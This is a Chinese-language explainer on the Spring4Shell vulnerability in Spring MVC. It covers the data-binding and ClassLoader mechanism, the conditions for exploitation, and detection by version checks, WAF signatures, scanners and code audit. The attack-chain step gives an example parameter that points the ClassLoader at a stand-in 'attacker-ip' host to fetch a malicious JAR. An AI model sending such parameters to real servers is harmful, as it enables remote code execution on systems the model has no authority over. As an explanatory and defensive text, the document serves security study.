### Spring4shell 原理&检测&利用

1. Spring4Shell 原理

Spring4Shell 的核心是一个数据绑定（Data Binding）漏洞，利用了 Spring MVC 在处理请求参数时的一个逻辑缺陷

数据绑定是什么？ 在 Spring MVC 中，当你向一个 Controller 发送请求时，框架会自动将请求参数（例如 URL 中的查询参数或 POST 请求体）的值，绑定到方法的 Java 对象参数上。这个过程非常方便，但如果绑定过程没有受到严格限制，就会带来安全风险

漏洞的本质 Spring MVC 在数据绑定时，使用了反射来设置对象的属性。攻击者发现，可以通过精心构造的请求参数，利用反射访问并修改一些特殊的对象属性，例如：

- `class` 属性：任何 Java 对象都有一个隐藏的 `class` 属性，可以用来获取该对象的 `ClassLoader`
- `ClassLoader`：这是 Java 虚拟机（JVM）加载类的地方

完整的攻击链

1. 构造恶意请求：攻击者发送一个 HTTP 请求，其参数名为 `class.module.classLoader.URLs[0]=http://attacker-ip/malicious.jar`
2. 数据绑定触发：Spring MVC 收到请求后，会尝试将这个参数绑定到 Controller 方法的 Java 对象上
3. 反射调用：在绑定过程中，Spring 使用反射，根据 `class.module.classLoader` 这个路径，一步步获取到应用程序的 `ClassLoader` 对象
4. 修改 URL：然后，Spring 会将 `attacker-ip/malicious.jar` 这个 URL，设置到 `ClassLoader` 的 `URLs` 属性中
5. 加载恶意类：一旦 `ClassLoader` 的 URL 被修改，攻击者就可以通过其他请求，让应用程序去加载一个远程的恶意 JAR 包（其中包含可以执行命令的代码）
6. 远程代码执行（RCE）：当恶意 JAR 包中的类被加载到 JVM 中时，其中的恶意代码（通常是静态代码块）会被自动执行，从而实现 RCE。

2. Spring4Shell 利用

这个漏洞的利用需要满足几个特定条件：

- 依赖：应用程序必须依赖于 Spring Framework 的 `5.2.x` 到 `5.3.x` 版本

- 环境：

  - JDK 9+：漏洞利用的原理依赖于 JDK 9+ 引入的 `class.module` 机制
  - Tomcat Servlet 容器：攻击利用依赖于 Tomcat Servlet 容器，因为它暴露了可被利用的 `ClassLoader`

- 控制器（Controller）：应用程序中必须有一个 Controller，其方法参数使用了简单的 POJO（Plain Old Java Object）进行数据绑定。例如：

      @PostMapping("/bind")
      public String bind(@ModelAttribute User user) {
          // ...
      }

3. Spring4Shell 检测

Spring4Shell 的检测方法可以分为以下几种：

- 版本检测：最直接的方法是检查应用程序所使用的 Spring Framework 版本和 JDK 版本。如果版本在受影响的范围内（如 Spring 5.2.x - 5.3.x + JDK 9+），则存在风险
- 流量检测：Web 应用防火墙（WAF）可以检测 HTTP 请求中是否包含与漏洞相关的特征字符串，例如 `class.module.classLoader`。这是最有效的网络层面检测方法
- 主动扫描：使用自动化漏洞扫描器（如 Nessus、OpenVAS）对目标进行扫描。这些扫描器通常集成了对 Spring4Shell 的检测模块
- 代码审计：通过静态应用安全测试（SAST）工具对源代码进行审计，检查是否使用了存在漏洞的 Spring 版本和数据绑定模式